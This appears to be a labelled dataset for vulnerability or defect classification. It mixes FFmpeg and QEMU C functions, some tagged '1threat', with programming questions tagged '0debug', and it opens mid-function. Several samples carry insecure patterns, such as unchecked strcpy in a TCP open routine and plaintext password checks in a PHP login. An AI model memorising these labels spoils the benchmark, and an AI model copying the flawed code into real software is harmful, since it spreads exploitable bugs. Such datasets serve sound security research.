for(i=0;i<dstW;i++){ int Y=yuvtab_2568[((buf0[i]*yalpha1+buf1[i]*yalpha)>>19)]; int U=((uvbuf0[i]*uvalpha1+uvbuf1[i]*uvalpha)>>19); int V=((uvbuf0[i+2048]*uvalpha1+uvbuf1[i+2048]*uvalpha)>>19); ((uint16_t*)dest)[i] = clip_table16b[(Y + yuvtab_40cf[U]) >>13] | clip_table16g[(Y + yuvtab_1a1e[V] + yuvtab_0c92[U]) >>13] | clip_table16r[(Y + yuvtab_3343[V]) >>13]; } } else if(dstbpp==15) { int i; for(i=0;i<dstW;i++){ int Y=yuvtab_2568[((buf0[i]*yalpha1+buf1[i]*yalpha)>>19)]; int U=((uvbuf0[i]*uvalpha1+uvbuf1[i]*uvalpha)>>19); int V=((uvbuf0[i+2048]*uvalpha1+uvbuf1[i+2048]*uvalpha)>>19); ((uint16_t*)dest)[i] = clip_table15b[(Y + yuvtab_40cf[U]) >>13] | clip_table15g[(Y + yuvtab_1a1e[V] + yuvtab_0c92[U]) >>13] | clip_table15r[(Y + yuvtab_3343[V]) >>13]; } } #endif } else { #ifdef HAVE_MMX if(dstbpp == 32) { asm volatile( YSCALEYUV2RGB WRITEBGR32 :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "r" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax" ); } else if(dstbpp==24) { asm volatile( "movl %4, %%ebx \n\t" YSCALEYUV2RGB WRITEBGR24 :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "m" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax", "%ebx" ); } else if(dstbpp==15) { asm volatile( YSCALEYUV2RGB #ifdef DITHER1XBPP "paddusb "MANGLE(b5Dither)", %%mm2\n\t" "paddusb "MANGLE(g5Dither)", %%mm4\n\t" "paddusb "MANGLE(r5Dither)", %%mm5\n\t" #endif WRITEBGR15 :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "r" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax" ); } else if(dstbpp==16) { asm volatile( YSCALEYUV2RGB #ifdef DITHER1XBPP "paddusb "MANGLE(b5Dither)", %%mm2\n\t" "paddusb "MANGLE(g6Dither)", %%mm4\n\t" "paddusb "MANGLE(r5Dither)", %%mm5\n\t" #endif WRITEBGR16 :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "r" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax" ); } #else if(dstbpp==32) { int i; for(i=0; i<dstW-1; i+=2){ int Y1=yuvtab_2568[((buf0[i]*yalpha1+buf1[i]*yalpha)>>19)]; int Y2=yuvtab_2568[((buf0[i+1]*yalpha1+buf1[i+1]*yalpha)>>19)]; int U=((uvbuf0[i>>1]*uvalpha1+uvbuf1[i>>1]*uvalpha)>>19); int V=((uvbuf0[(i>>1)+2048]*uvalpha1+uvbuf1[(i>>1)+2048]*uvalpha)>>19); int Cb= yuvtab_40cf[U]; int Cg= yuvtab_1a1e[V] + yuvtab_0c92[U]; int Cr= yuvtab_3343[V]; dest[4*i+0]=clip_table[((Y1 + Cb) >>13)]; dest[4*i+1]=clip_table[((Y1 + Cg) >>13)]; dest[4*i+2]=clip_table[((Y1 + Cr) >>13)]; dest[4*i+4]=clip_table[((Y2 + Cb) >>13)]; dest[4*i+5]=clip_table[((Y2 + Cg) >>13)]; dest[4*i+6]=clip_table[((Y2 + Cr) >>13)]; } } else if(dstbpp==24) { int i; for(i=0; i<dstW-1; i+=2){ int Y1=yuvtab_2568[((buf0[i]*yalpha1+buf1[i]*yalpha)>>19)]; int Y2=yuvtab_2568[((buf0[i+1]*yalpha1+buf1[i+1]*yalpha)>>19)]; int U=((uvbuf0[i>>1]*uvalpha1+uvbuf1[i>>1]*uvalpha)>>19); int V=((uvbuf0[(i>>1)+2048]*uvalpha1+uvbuf1[(i>>1)+2048]*uvalpha)>>19); int Cb= yuvtab_40cf[U]; int Cg= yuvtab_1a1e[V] + yuvtab_0c92[U]; int Cr= yuvtab_3343[V]; dest[0]=clip_table[((Y1 + Cb) >>13)]; dest[1]=clip_table[((Y1 + Cg) >>13)]; dest[2]=clip_table[((Y1 + Cr) >>13)]; dest[3]=clip_table[((Y2 + Cb) >>13)]; dest[4]=clip_table[((Y2 + Cg) >>13)]; dest[5]=clip_table[((Y2 + Cr) >>13)]; dest+=6; } } else if(dstbpp==16) { int i; for(i=0; i<dstW-1; i+=2){ int Y1=yuvtab_2568[((buf0[i]*yalpha1+buf1[i]*yalpha)>>19)]; int Y2=yuvtab_2568[((buf0[i+1]*yalpha1+buf1[i+1]*yalpha)>>19)]; int U=((uvbuf0[i>>1]*uvalpha1+uvbuf1[i>>1]*uvalpha)>>19); int V=((uvbuf0[(i>>1)+2048]*uvalpha1+uvbuf1[(i>>1)+2048]*uvalpha)>>19); int Cb= yuvtab_40cf[U]; int Cg= yuvtab_1a1e[V] + yuvtab_0c92[U]; int Cr= yuvtab_3343[V]; ((uint16_t*)dest)[i] = clip_table16b[(Y1 + Cb) >>13] | clip_table16g[(Y1 + Cg) >>13] | clip_table16r[(Y1 + Cr) >>13]; ((uint16_t*)dest)[i+1] = clip_table16b[(Y2 + Cb) >>13] | clip_table16g[(Y2 + Cg) >>13] | clip_table16r[(Y2 + Cr) >>13]; } } else if(dstbpp==15) { int i; for(i=0; i<dstW-1; i+=2){ int Y1=yuvtab_2568[((buf0[i]*yalpha1+buf1[i]*yalpha)>>19)]; int Y2=yuvtab_2568[((buf0[i+1]*yalpha1+buf1[i+1]*yalpha)>>19)]; int U=((uvbuf0[i>>1]*uvalpha1+uvbuf1[i>>1]*uvalpha)>>19); int V=((uvbuf0[(i>>1)+2048]*uvalpha1+uvbuf1[(i>>1)+2048]*uvalpha)>>19); int Cb= yuvtab_40cf[U]; int Cg= yuvtab_1a1e[V] + yuvtab_0c92[U]; int Cr= yuvtab_3343[V]; ((uint16_t*)dest)[i] = clip_table15b[(Y1 + Cb) >>13] | clip_table15g[(Y1 + Cg) >>13] | clip_table15r[(Y1 + Cr) >>13]; ((uint16_t*)dest)[i+1] = clip_table15b[(Y2 + Cb) >>13] | clip_table15g[(Y2 + Cg) >>13] | clip_table15r[(Y2 + Cr) >>13]; } } #endif } }
1threat
Visual Studio Code - Select current word (ctrl-w in old visual studio bindings)? : <p>How to select current word (the one where the caret is) in <strong>Visual Studio Code</strong> (the text editor, not Visual Studio)? In Visual Studio old bindings it was the <code>ctrl+w</code> shortcut but it was changed to close tab action.</p>
0debug
static void spapr_machine_class_init(ObjectClass *oc, void *data) { MachineClass *mc = MACHINE_CLASS(oc); sPAPRMachineClass *smc = SPAPR_MACHINE_CLASS(oc); FWPathProviderClass *fwc = FW_PATH_PROVIDER_CLASS(oc); NMIClass *nc = NMI_CLASS(oc); HotplugHandlerClass *hc = HOTPLUG_HANDLER_CLASS(oc); mc->desc = "pSeries Logical Partition (PAPR compliant)"; mc->init = ppc_spapr_init; mc->reset = ppc_spapr_reset; mc->block_default_type = IF_SCSI; mc->max_cpus = MAX_CPUMASK_BITS; mc->no_parallel = 1; mc->default_boot_order = ""; mc->default_ram_size = 512 * M_BYTE; mc->kvm_type = spapr_kvm_type; mc->has_dynamic_sysbus = true; mc->pci_allow_0_address = true; mc->get_hotplug_handler = spapr_get_hotpug_handler; hc->pre_plug = spapr_machine_device_pre_plug; hc->plug = spapr_machine_device_plug; hc->unplug = spapr_machine_device_unplug; mc->cpu_index_to_socket_id = spapr_cpu_index_to_socket_id; mc->query_hotpluggable_cpus = spapr_query_hotpluggable_cpus; smc->dr_lmb_enabled = true; smc->dr_cpu_enabled = true; fwc->get_dev_path = spapr_get_fw_dev_path; nc->nmi_monitor_handler = spapr_nmi; }
1threat
PHP remove newline in string inside html tag : I'm not good at regex and I need a quick answer for solving this problem. how to remove newline in string inside html tag using php, something like this: input: <li>first line</li> <li>second line</li> <li>third line and the last</li> output: <li>first line</li> <li>second line</li> <li>third line and the last</li>
0debug
How do you make dnace moves in roblox studio : I have tryed lots of times to make it work but i just cant do it.
0debug
static int tcp_open(URLContext *h, const char *uri, int flags) { struct sockaddr_in dest_addr; int port, fd = -1; TCPContext *s = NULL; fd_set wfds; int fd_max, ret; struct timeval tv; socklen_t optlen; char hostname[1024],proto[1024],path[1024],tmp[1024],*q; if(!ff_network_init()) return AVERROR(EIO); url_split(proto, sizeof(proto), NULL, 0, hostname, sizeof(hostname), &port, path, sizeof(path), uri); if (strcmp(proto,"tcp") || port <= 0 || port >= 65536) return AVERROR(EINVAL); if ((q = strchr(hostname,'@'))) { strcpy(tmp,q+1); strcpy(hostname,tmp); } dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(port); if (resolve_host(&dest_addr.sin_addr, hostname) < 0) return AVERROR(EIO); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) return AVERROR(EIO); ff_socket_nonblock(fd, 1); redo: ret = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); if (ret < 0) { if (ff_neterrno() == FF_NETERROR(EINTR)) goto redo; if (ff_neterrno() != FF_NETERROR(EINPROGRESS) && ff_neterrno() != FF_NETERROR(EAGAIN)) goto fail; for(;;) { if (url_interrupt_cb()) { ret = AVERROR(EINTR); goto fail1; } fd_max = fd; FD_ZERO(&wfds); FD_SET(fd, &wfds); tv.tv_sec = 0; tv.tv_usec = 100 * 1000; ret = select(fd_max + 1, NULL, &wfds, NULL, &tv); if (ret > 0 && FD_ISSET(fd, &wfds)) break; } optlen = sizeof(ret); getsockopt (fd, SOL_SOCKET, SO_ERROR, &ret, &optlen); if (ret != 0) goto fail; } s = av_malloc(sizeof(TCPContext)); if (!s) return AVERROR(ENOMEM); h->priv_data = s; h->is_streamed = 1; s->fd = fd; return 0; fail: ret = AVERROR(EIO); fail1: if (fd >= 0) closesocket(fd); return ret; }
1threat
SAPUI5 - Hiding a table column? : <p>I have a a table rendered from an xml view.</p> <p>Is there a way I can hide an entire column in the controller?</p>
0debug
static uint64_t pl011_read(void *opaque, target_phys_addr_t offset, unsigned size) { pl011_state *s = (pl011_state *)opaque; uint32_t c; if (offset >= 0xfe0 && offset < 0x1000) { return s->id[(offset - 0xfe0) >> 2]; } switch (offset >> 2) { case 0: s->flags &= ~PL011_FLAG_RXFF; c = s->read_fifo[s->read_pos]; if (s->read_count > 0) { s->read_count--; if (++s->read_pos == 16) s->read_pos = 0; } if (s->read_count == 0) { s->flags |= PL011_FLAG_RXFE; } if (s->read_count == s->read_trigger - 1) s->int_level &= ~ PL011_INT_RX; pl011_update(s); qemu_chr_accept_input(s->chr); return c; case 1: return 0; case 6: return s->flags; case 8: return s->ilpr; case 9: return s->ibrd; case 10: return s->fbrd; case 11: return s->lcr; case 12: return s->cr; case 13: return s->ifl; case 14: return s->int_enabled; case 15: return s->int_level; case 16: return s->int_level & s->int_enabled; case 18: return s->dmacr; default: hw_error("pl011_read: Bad offset %x\n", (int)offset); return 0; } }
1threat
Why is this not working? Can you help please? : import turtle as t t.setup(500,500) t.setworldcoordinates(0,0,500,500) t.pu() t.goto(0,0) t.pd() t.seth(0) def N(): t.pu() t.pd() def B(c,d): t.right(90) c t.forward(5) t.left(90) d t.forward(5) d t.left(90) t.forward(5) c t.right(90) def A(a,b): t.left(90) b t.forward(5) t.right(90) a t.forward(5) a t.right(90) t.forward(5) b t.left(90) t.seth(0) A(A(None,None),B(None,None)) > I'm Trying to make the Hilbert curve > But it is not working > I am using the l system > rsrgwerbwv > viewbviqe > nvenlvnqebfv > ndjvnlenbnwr > dnvonwvqe > ijdbvqepv p;e > nnweone[qro[nv > jdbdijvqejv > jsvjn[afb > njnvonadzb > ksnjvnasv
0debug
int qcow2_cache_put(BlockDriverState *bs, Qcow2Cache *c, void **table) { int i = qcow2_cache_get_table_idx(bs, c, *table); if (c->entries[i].offset == 0) { return -ENOENT; } c->entries[i].ref--; *table = NULL; if (c->entries[i].ref == 0) { c->entries[i].lru_counter = ++c->lru_counter; } assert(c->entries[i].ref >= 0); return 0; }
1threat
how to reverse n characters of n parts in string using java : <p>For example, string = "ABCDEFGH". if n=2, then output should be "BADCFEHG"; if n=3, output should be "CBAFEDHG". I know i should use stringbuilder to reverse, but how can i split the string to n parts and then reverse each part?</p>
0debug
void bdrv_parent_drained_begin(BlockDriverState *bs) { BdrvChild *c; QLIST_FOREACH(c, &bs->parents, next_parent) { if (c->role->drained_begin) { c->role->drained_begin(c); } } }
1threat
any tools to automatically fix the complaints of scss-lint? : <p>I use the scss-lint gem and just reordered and nested all my scss files to dissolve the complaints of the linter.</p> <p>It's a lot of tedious work that should be automated but after searching quite a while i didn't find any tools that resolves the orders of the linter automatically.</p> <p>Aren't there any tools like fixjsstyle that does automatically fix style problems detected by gjslint but for scss?</p>
0debug
static void balloon_stats_change_timer(VirtIOBalloon *s, int secs) { timer_mod(s->stats_timer, qemu_clock_get_ms(QEMU_CLOCK_VIRTUAL) + secs * 1000); }
1threat
static inline void encode_dc(MpegEncContext *s, int diff, int component) { if (((unsigned) (diff + 255)) >= 511) { int index; if (diff < 0) { index = av_log2_16bit(-2 * diff); diff--; } else { index = av_log2_16bit(2 * diff); } if (component == 0) put_bits(&s->pb, ff_mpeg12_vlc_dc_lum_bits[index] + index, (ff_mpeg12_vlc_dc_lum_code[index] << index) + (diff & ((1 << index) - 1))); else put_bits(&s->pb, ff_mpeg12_vlc_dc_chroma_bits[index] + index, (ff_mpeg12_vlc_dc_chroma_code[index] << index) + (diff & ((1 << index) - 1))); } else { if (component == 0) put_bits(&s->pb, mpeg1_lum_dc_uni[diff + 255] & 0xFF, mpeg1_lum_dc_uni[diff + 255] >> 8); else put_bits(&s->pb, mpeg1_chr_dc_uni[diff + 255] & 0xFF, mpeg1_chr_dc_uni[diff + 255] >> 8); } }
1threat
Using CloudFormation to configure CloudFront with an S3 origin : <p>I am trying to use CloudFormation for the first time to configure a CloudFront distribution that uses an S3 bucket as its origin.</p> <p>However I am receiving the error <code>One or more of your origins do not exist</code> when the template is run. I have assumed it is down to the origin DomainName being configured incorrectly, however have not been able to find a configuration that works.</p> <p>I currently have the following template:</p> <pre><code>{ "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "AssetBucket": { "Type": "AWS::S3::Bucket", "Properties": { "BucketName": "cdn-assets", "AccessControl": "PublicRead", "CorsConfiguration": { "CorsRules": [ { "AllowedHeaders": [ "*" ], "AllowedMethods": [ "GET" ], "AllowedOrigins": [ "*" ], "Id": "OpenCors", "MaxAge": "3600" } ] } } }, "AssetCDN": { "Type": "AWS::CloudFront::Distribution", "Properties": { "DistributionConfig": { "Origins": [ { "DomainName": { "Fn::GetAtt": [ "AssetBucket", "DomainName" ] }, "Id": "AssetBucketOrigin", "S3OriginConfig": {} } ], "Enabled": "true", "DefaultCacheBehavior": { "Compress": true, "AllowedMethods": [ "GET", "HEAD", "OPTIONS" ], "TargetOriginId": "origin-access-identity/cloudfront/AssetCDN", "ForwardedValues": { "QueryString": "false", "Cookies": { "Forward": "none" } }, "ViewerProtocolPolicy": "allow-all" }, "PriceClass": "PriceClass_All", "ViewerCertificate": { "CloudFrontDefaultCertificate": "true" } } }, "DependsOn": [ "AssetBucket" ] } } } </code></pre> <p>I have not been able to find much advice on this, so hoping someone can point me in the right direction.</p>
0debug
How to use WD My Book Live share as Raspberry PI owncloud server data directory? : <p>I have installed owncloud based on MySQL on a raspberry pi. On my My Book Live NAS I created a new share called owncloud. On my PI I added the following line to /etc/fstab</p> <pre><code>//nas001.local/Owncloud /mnt/shares/nas001/owncloud cifs username=&lt;user&gt;,password=&lt;pwd&gt; 0 0 </code></pre> <p>The share is accessible on /mnt/shares/nas001/owncloud</p> <p>When I try to finish the owncloud setup I am getting the error message:</p> <pre><code>Can't create or write into the data directory /mnt/shares/nas001/owncloud </code></pre> <p>When I enter the following command I am getting no error message and the content of the directory will be displayed.</p> <pre><code>sudo -u www-data ls -lisa /mnt/shares/nas001/owncloud </code></pre> <p>The owncloud share looks like this</p> <pre><code>drwxr-xr-x 2 root root 0 Feb 14 07:34 owncloud </code></pre> <p>Tried the following</p> <pre><code>chown -R www-data:www-data /mnt/shares/nas001/owncloud chmod -R 0777 /mnt/shares/nas001/owncloud </code></pre> <p>Nothing changed.</p> <p>Is there a way to use a My Book Live share as data directory for a Rasperry PI owncloud server?</p>
0debug
Notice: Trying to get property of non-object in C:\xampp\htdocs\j\index.php on line 17 : <p>I get the above error even though the data() method is defined in my user class. I want to be able to echo the user's details on the index page. The index.php code below where I instantiated the user class</p> <pre><code> &lt;?php $user = new User(); echo $user-&gt;data()-&gt;email; </code></pre> <p>The user class below: User.php</p> <pre><code> &lt;?php class User { private $_db, $_data, $_sessionName, $_details, $_isLoggedIn; public function __construct($user = null) { $this-&gt;_db = DB::getInstance(); $this-&gt;_sessionName = Config::get('session/session_name'); if (!$user) { if (Session::exists($this-&gt;_sessionName)) { $user = Session::get($this-&gt;_sessionName); if ($this-&gt;find($user)) { $this-&gt;_isLoggedIn = true; } else { // process logout } } } else { $this-&gt;find($user); } } public function create($fields = array()) { if (!$this-&gt;_db-&gt;query("INSERT INTO users (firstname, othernames, surname, email, grup, password, salt, hash, joined) VALUES (?,?,?,?,?,?,?,?,?)", $fields)) { throw new Exception('Could not register user'); } } public function find($user=null) { if ($user) { $field = (is_numeric($user)) ? 'id' : 'email'; $data = $this-&gt;_db-&gt;query("SELECT * FROM users WHERE email=?", array($user)); } if ($data-&gt;count()) { $this-&gt;_data = $data-&gt;first(); return true; } return false; } public function login($email = null, $password = null) { $user = $this-&gt;find($email); if ($user) { //print_r($this-&gt;_data); if ($this-&gt;data()-&gt;password === Hash::make($password, $this-&gt;data()-&gt;salt)) { if (!is_object($this-&gt;data())) { die('ooo not objj'); } else { echo "its obj"; } Session::put($this-&gt;_sessionName, $this-&gt;data()-&gt;id); return true; } } return false; } public function data() { return $this-&gt;_data; } public function isLoggedIn() { return $this-&gt;_isLoggedIn; } public function details() { return $this-&gt;_details; } } </code></pre> <p>The data() method is defined in the user class. Can figure where the error is coming from...</p>
0debug
How to check if username already exist in text file and write it if username available c# console application : using System; using System.IO; namespace LumberJackProgram { class CreateNewUser { public static void Main() { string username = "", password, chkusername; bool vald, chk; vald = false; string choice = "Y"; while (choice == "Y") { FileStream fs = new FileStream("Users.txt", FileMode.Append, FileAccess.Write, FileShare.Read); StreamWriter sw = new StreamWriter(fs); Console.WriteLine("Enter Username : "); > var Createnew = File.ReadAllLines("Users.txt"); > System.IO.IOException: 'The process cannot access the file > 'C:\Users\admin1\source\repos\LumberJackProgram\LumberJackProgram\Users.txt' > because it is being used by another process.' chkusername = Console.ReadLine(); foreach(string Dummies in Createnew) { string[] userline = Dummies.Split('#'); if(userline[0].Equals(chkusername)) { vald = true; Console.Clear(); Console.WriteLine("username already exists please choose another"); Console.ReadKey(); Console.Clear(); break; } chk = vald; if (vald == true) { Main(); } while(choice == "Y") { username = chkusername; Console.WriteLine("Enter a Password : "); password = Console.ReadLine(); sw.WriteLine(username + "#" + password); sw.Flush(); sw.Close(); fs.Close(); Console.WriteLine("Username Created"); Console.WriteLine("Do you want to continue ? Y/N"); choice = Console.ReadLine(); } } } } } }
0debug
static float quantize_band_cost(struct AACEncContext *s, const float *in, const float *scaled, int size, int scale_idx, int cb, const float lambda, const float uplim, int *bits, int rtz) { return get_band_cost(s, NULL, in, scaled, size, scale_idx, cb, lambda, uplim, bits); }
1threat
static int qemu_chr_open_null(QemuOpts *opts, CharDriverState **_chr) { CharDriverState *chr; chr = g_malloc0(sizeof(CharDriverState)); chr->chr_write = null_chr_write; *_chr= chr; return 0; }
1threat
CFDataRef ff_videotoolbox_hvcc_extradata_create(AVCodecContext *avctx) { HEVCContext *h = avctx->priv_data; const HEVCVPS *vps = (const HEVCVPS *)h->ps.vps_list[0]->data; const HEVCSPS *sps = (const HEVCSPS *)h->ps.sps_list[0]->data; int i, num_pps = 0; const HEVCPPS *pps = h->ps.pps; PTLCommon ptlc = vps->ptl.general_ptl; VUI vui = sps->vui; uint8_t parallelismType; CFDataRef data = NULL; uint8_t *p; int vt_extradata_size = 23 + 5 + vps->data_size + 5 + sps->data_size + 3; uint8_t *vt_extradata; for (i = 0; i < MAX_PPS_COUNT; i++) { if (h->ps.pps_list[i]) { const HEVCPPS *pps = (const HEVCPPS *)h->ps.pps_list[i]->data; vt_extradata_size += 2 + pps->data_size; num_pps++; } } vt_extradata = av_malloc(vt_extradata_size); if (!vt_extradata) return NULL; p = vt_extradata; AV_W8(p + 0, 1); AV_W8(p + 1, ptlc.profile_space << 6 | ptlc.tier_flag << 5 | ptlc.profile_idc); memcpy(p + 2, ptlc.profile_compatibility_flag, 4); AV_W8(p + 6, ptlc.progressive_source_flag << 7 | ptlc.interlaced_source_flag << 6 | ptlc.non_packed_constraint_flag << 5 | ptlc.frame_only_constraint_flag << 4); AV_W8(p + 7, 0); AV_WN32(p + 8, 0); AV_W8(p + 12, ptlc.level_idc); AV_W8(p + 13, 0xf0 | (vui.min_spatial_segmentation_idc >> 4)); AV_W8(p + 14, vui.min_spatial_segmentation_idc & 0xff); if (!vui.min_spatial_segmentation_idc) parallelismType = 0; else if (pps->entropy_coding_sync_enabled_flag && pps->tiles_enabled_flag) parallelismType = 0; else if (pps->entropy_coding_sync_enabled_flag) parallelismType = 3; else if (pps->tiles_enabled_flag) parallelismType = 2; else parallelismType = 1; AV_W8(p + 15, 0xfc | parallelismType); AV_W8(p + 16, sps->chroma_format_idc | 0xfc); AV_W8(p + 17, (sps->bit_depth - 8) | 0xfc); AV_W8(p + 18, (sps->bit_depth_chroma - 8) | 0xfc); AV_WB16(p + 19, 0); AV_W8(p + 21, 0 << 6 | sps->max_sub_layers << 3 | sps->temporal_id_nesting_flag << 2 | 3); AV_W8(p + 22, 3); p += 23; AV_W8(p, 1 << 7 | HEVC_NAL_VPS & 0x3f); AV_WB16(p + 1, 1); AV_WB16(p + 3, vps->data_size); memcpy(p + 5, vps->data, vps->data_size); p += 5 + vps->data_size; AV_W8(p, 1 << 7 | HEVC_NAL_SPS & 0x3f); AV_WB16(p + 1, 1); AV_WB16(p + 3, sps->data_size); memcpy(p + 5, sps->data, sps->data_size); p += 5 + sps->data_size; AV_W8(p, 1 << 7 | HEVC_NAL_PPS & 0x3f); AV_WB16(p + 1, num_pps); p += 3; for (i = 0; i < MAX_PPS_COUNT; i++) { if (h->ps.pps_list[i]) { const HEVCPPS *pps = (const HEVCPPS *)h->ps.pps_list[i]->data; AV_WB16(p, pps->data_size); memcpy(p + 2, pps->data, pps->data_size); p += 2 + pps->data_size; } } av_assert0(p - vt_extradata == vt_extradata_size); data = CFDataCreate(kCFAllocatorDefault, vt_extradata, vt_extradata_size); av_free(vt_extradata); return data; }
1threat
why is componentWillReceiveProps deprecated? : <p>I read through <a href="https://reactjs.org/blog/2018/03/27/update-on-async-rendering.html#fetching-external-data-when-props-change" rel="noreferrer">https://reactjs.org/blog/2018/03/27/update-on-async-rendering.html#fetching-external-data-when-props-change</a> . I am still not able to understand why did they have to deprecate componentWillReceiveProps.<br /> What was the harm in making an ajax call inside componentWillReceiveProps? Once ajax call returns the value , I update the state thereby rerendering the component.</p>
0debug
Skip on the php code section for the first time we upload page : <p>So, i am learning how to write php now.I want to build a small shopping website. My index.html looks something like this:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;link href="index.css" rel="stylesheet" /&gt; &lt;title&gt; eShop &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="topnav"&gt; &lt;a class="active" href="#index.html"&gt;Home&lt;/a&gt; &lt;a href="loginAdmin.php"&gt;Administrator&lt;/a&gt; &lt;a href="loginUser.php"&gt;Register User&lt;/a&gt; &lt;a href="newAccount.php"&gt;Register New Account&lt;/a&gt; &lt;/div&gt; &lt;img class="centerImage" src="eshop.jpg"&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>and the loginAdmin.php file looks like this:</p> <pre><code>&lt;?php session_start(); // here is the code that connects to the database. Note that the username // and password are "hard-coded". $user="root"; $passwd=""; $database=""; $link = mysqli_connect(localhost,$user,$passwd); @mysqli_select_db($link,$database) or die ("Unable to select database"); // try to create a new record from the submission $username = mysqli_real_escape_string($link,$_REQUEST['username']); $password= mysqli_real_escape_string($link,$_REQUEST['password']); if ($username &amp;&amp; $password) { // here we define the SQL command $query = "SELECT * FROM people WHERE Username='$username' AND Password='$password'"; // submit the query to the database $res=mysqli_query($query); // make sure it worked! if (!$res) { echo mysql_error(); exit; } // find out how many records we got $num = mysqli_numrows($res); if ($num==0) { echo "&lt;h3&gt;Invalid login&lt;/h3&gt;\n"; exit; } elseif ($num!=1) { echo "&lt;h3&gt;Error - unexpected result!\n"; exit; } // valid login, set the session variable $_SESSION['userid']=mysql_result($res,0,'userid'); echo "&lt;h3&gt;Welcome $username&lt;/h3&gt;\n"; ?&gt; &lt;head&gt; &lt;link href="login.css" rel="stylesheet" /&gt; &lt;title&gt; eShop &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="login-page"&gt; &lt;div class="form"&gt; &lt;form class="login-form"&gt; &lt;input type="text" placeholder="User Name:" /&gt; &lt;input type="password" placeholder="Password:" /&gt; &lt;button onclick="writeMsg()"&gt;login&lt;/button&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; </code></pre> <p>If the user pressed on the loginAdmin link so the php code will be executed, and i dont want that, only after the user pressed on the login button i want the php code block will be executed. How can i do that? Maybe i should seperate the files (php and html) and not user href on the php files in the index.html ? and the index.html file should be index.php? </p>
0debug
static int svq1_motion_inter_block(MpegEncContext *s, GetBitContext *bitbuf, uint8_t *current, uint8_t *previous, int pitch, svq1_pmv *motion, int x, int y) { uint8_t *src; uint8_t *dst; svq1_pmv mv; svq1_pmv *pmv[3]; int result; pmv[0] = &motion[0]; if (y == 0) { pmv[1] = pmv[2] = pmv[0]; } else { pmv[1] = &motion[x / 8 + 2]; pmv[2] = &motion[x / 8 + 4]; } result = svq1_decode_motion_vector(bitbuf, &mv, pmv); if (result != 0) return result; motion[0].x = motion[x / 8 + 2].x = motion[x / 8 + 3].x = mv.x; motion[0].y = motion[x / 8 + 2].y = motion[x / 8 + 3].y = mv.y; if (y + (mv.y >> 1) < 0) mv.y = 0; if (x + (mv.x >> 1) < 0) mv.x = 0; src = &previous[(x + (mv.x >> 1)) + (y + (mv.y >> 1)) * pitch]; dst = current; s->dsp.put_pixels_tab[0][(mv.y & 1) << 1 | (mv.x & 1)](dst, src, pitch, 16); return 0; }
1threat
SDL Getting weird colors when drawing over surface : I'm trying to learn sdl by creating a quick and simple tile-based game. I've drawn my tiles on two layers. The first layer draws the water, lava, and most of the grass. But the problem is the second layer which as you can see with the image below for some reason tiles with water or cliff underneath have a reddish tent. I'm bliting every tile to a surface then bliting that surface to the main surface every frame. Here's a link to an image of my problem: http://i.imgur.com/LJgHyGb.jpg I don't understand what's causing this.
0debug
static void gen_tlbsync(DisasContext *ctx) { #if defined(CONFIG_USER_ONLY) GEN_PRIV; #else CHK_HV; gen_check_tlb_flush(ctx); #endif }
1threat
int get_partial_buffer(ByteIOContext *s, unsigned char *buf, int size) { int len; len = s->buf_end - s->buf_ptr; if (len == 0) { fill_buffer(s); len = s->buf_end - s->buf_ptr; } if (len > size) len = size; memcpy(buf, s->buf_ptr, len); s->buf_ptr += len; return len; }
1threat
How to get PyTest fixtures to autocomplete in PyCharm (type hinting) : <p>I had a bear of a time figuring this out, and it was really bugging me, so I thought I'd post this here in case anyone hit the same problem...</p> <p>(and the answer is so dang simple it hurts :-)</p> <p><strong>The Problem</strong></p> <p>The core of the issue is that sometimes, not always, when dealing with fixtures in PyTest that return objects, when you use those fixtures in a test in PyCharm, you don't get autocomplete hints. If you have objects with large numbers of methods you want to reference while writing a test, this can add a lot of overhead and inconvenience to the test writing process. </p> <p>Here's a simple example to illustrate the issue:</p> <p>Let's say I've got a class "event_manager" that lives in:</p> <pre><code>location.game.events </code></pre> <p>Let's further say that in my conftest.py file (PyTest standard thing for the unfamiliar), I've got a fixture that returns an instance of that class:</p> <pre><code>from location.game.events import event_manager ... @pytest.fixture(scope="module") def event_mgr(): """Creates a new instance of event generate for use in tests""" return event_manager() </code></pre> <p>I've had issues sometimes, (but not always - I can't quite figure out why) with classes like this where autocomplete will not work properly in the test code where I use the fixture, e.g.</p> <pre><code>def test_tc10657(self, evt_mgr): """Generates a Regmod and expects filemod to be searchable on server""" evt_mgr.(This does not offer autocomplete hints when you type ".") </code></pre> <p>So the answer is actually quite simple, once you review type hinting in PyCharm: <a href="http://www.jetbrains.com/help/pycharm/2016.1/type-hinting-in-pycharm.html" rel="noreferrer">http://www.jetbrains.com/help/pycharm/2016.1/type-hinting-in-pycharm.html</a></p> <p>Here's how to fix the above test code so that autocomplete works properly:</p> <pre><code>from location.game.events import event_manager ... def test_tc10657(self, evt_mgr: event_manager): """Generates a Regmod and expects filemod to be searchable on server""" evt_mgr.(This DOES offer hints when you type "." Yay!) </code></pre> <p>Notice how I explicitly type the fixture as an input parameter of type event_manager.</p>
0debug
void ff_id3v2_free_extra_meta(ID3v2ExtraMeta **extra_meta) { ID3v2ExtraMeta *current = *extra_meta, *next; void (*free_func)(ID3v2ExtraMeta*); while (current) { if ((free_func = get_extra_meta_func(current->tag, 1)->free)) free_func(current->data); next = current->next; av_freep(&current); current = next; } }
1threat
